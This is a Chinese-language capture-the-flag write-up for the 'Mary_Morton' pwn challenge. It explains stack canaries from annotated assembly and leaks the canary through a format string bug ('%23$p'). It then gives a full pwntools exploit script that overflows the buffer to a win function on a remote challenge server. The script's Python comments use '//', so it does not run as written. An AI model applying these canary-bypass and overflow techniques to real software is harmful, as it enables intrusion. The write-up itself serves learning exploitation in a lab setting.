不一

攻防世界Mary_Morton write up与CANARY绕过

字数统计: 1.2k阅读时长: 4 min
2019/11/11 Share

题目

Mary_Morton

题目描述:无

分析

下载得到题目附件,是个64位的ELF,放到Ubuntu里面运行一下,查看打印信息就非常直接,题目分别提供了两个武器weapon,分别是栈溢出攻击武器和格式化字符串攻击武器,具体就不介绍了:

1
2
3
4
5
6
Welcome to the battle !
[Great Fairy] level pwned
Select your weapon
1. Stack Bufferoverflow Bug
2. Format String Bug
3. Exit the battle

然后把ELF拖到ida里面看一下具体两个漏洞是什么样的,其中栈溢出漏洞的反汇编代码如下:

1
2
3
4
5
// buf的大小是0x88 bytes
char buf;

// 向buf读入0x100 byte数据,导致溢出
read(0, &buf, 0x100uLL);

而格式化漏洞的反编译代码如下:

1
2
3
4
5
6
7
8
// buf大小还是0x88
char buf; // [rsp+0h] [rbp-90h]

// 从用户数据读取0x7F到buf,不发生溢出
read(0, &buf, 0x7FuLL);

// 把用户输入作为printf第一个参数,产生格式化字符串漏洞
printf(&buf, &buf);

世上最遥远的距离莫过于有一份栈溢出漏洞放在面前却不能使用,因为用GDB检查一下ELF的防御机制发现是开启了CANARY的:

1
2
3
4
5
CANARY    : ENABLED
FORTIFY : disabled
NX : ENABLED
PIE : disabled
RELRO : Partial

CANARY

要对付CANARY当然要知己知彼,了解CANARY的工作原理才能去思考绕过的对策。所以首先查看一下CANARY在函数的栈空间里到底是怎么工作的,下面是存在栈溢出函数漏洞的汇编代码(已加上注释并省略CANARY无关部分,请放心食用):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
; 存在栈溢出漏洞武器函数
sub_400960

; 0x88大小的buf
buf = byte ptr -90h

; 这个就是CANARY随机数,这么神秘的东西体现在栈上其实就是个布局变量
var_8 = qword ptr -8

; 函数开头,开辟栈空间操作
push rbp
mov rbp, rsp

; 开辟局部变量空间
sub rsp, 90h

; 从fs:28h获取CANARY,放到rax里
mov rax, fs:28h

; 把rax里的CANARY放到局部变量栈上,最靠近RBP的地方
mov [rbp+var_8], rax

; ------------------------------
; 省略从用户读取buf并发生栈溢出的代码
; ------------------------------

; 函数走到了要返回的地方,从栈上离RBP最近的地方获取开头存储的CANARY
mov rax, [rbp+var_8]

; 将存储的CANARY同fs:28h处的数据相比
xor rax, fs:28h
jz short locret_4009D8

; 如果栈上存储的CANARY和fs:28h不一致,就跳转到验证失败函数
call ___stack_chk_fail

; CANARY验证成功,函数正常返回
locret_4009D8: ; CODE XREF: sub_400960+71↑j
leave
retn

从上诉代码可以看出在CANARY的保护下,栈是长这样的:

FS段寄存器
每个线程的FS寄存器上固定的,用于存储线程的相关信息,就是对应线程的档案馆,因此fs:28h的值是固定的,虽然不是每次运行都一样,但是至少在线程生命周期内是不会变的,又因此对于同一线程上的函数其CANARY是一样的

CANARY绕过

既然知道了CANARY的工作原理也就想到了应对方案,比如既然大家的CANARY都是一样的,那知道一个不就一劳永逸了。虽然存在栈溢出漏洞的那个函数没有这个功能,但是另一个存在格式化字符串漏洞的函数可以让我们打印任何数据

1
2
// 产生格式化字符串漏洞的地方,打印对象是buf指针
printf(buf, buf);

要可视化打印内存,需要使用%p参数,可以一次性打印64bit(因为是64位环境),也就是8字节,已知buf长度是0x88,因此需要偏移0x88/8就是17,因此构建用于利用格式化字符串漏洞的字符串为”%17$p”
不不不才没那么简单!
敲黑板
已知在一个格式化字符串里面遇到一格%p,就会去找一个参数来打印,就像遇到%d会从后面找一个int来打印一样。参数从哪来呢?在64位系统上,参数传递规则是前6个参数从寄存器里传递,超过6个的通过栈传递,而当printf调用时,其栈空间如下:

对于printf来说,buf就是栈上第一个参数,但是在这个参数之前还有6个寄存器作为参数,虽然这些寄存器在调用printf前并没有赋值,但是printf又不知道。所以总之还需要6个%p用于跳过这些寄存器,所以一共是23个%p。

Payload

好了终于进入最激动人心的环节

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from pwn import *

// 连接
r = remote('111.198.29.45', 59288)

// 打印flag的函数
win = 0x4008DA

r.recvuntil('battle \n')
// 选择格式化字符串漏洞武器,获取CANARY
r.sendline('2')
payload = '%23$p'
r.sendline(payload)
r.recvuntil('0x')
canary = int(r.recv(16), 16)

r.recvuntil('battle \n')
// 带着CANARY去栈溢出,跳转打印flag
r.sendline('1')
payload = b'A' * 0x88 + p64(canary) + p64(0) + p64(win)
r.sendline(payload)

line = r.recvall()
print(line)

r.close()

总结

这个必须有,我觉得大多数人的博文写得都比我烂。

CATALOG
  1. 1. 题目
  2. 2. 分析
    1. 2.1. CANARY
    2. 2.2. CANARY绕过
    3. 2.3. Payload
  3. 3. 总结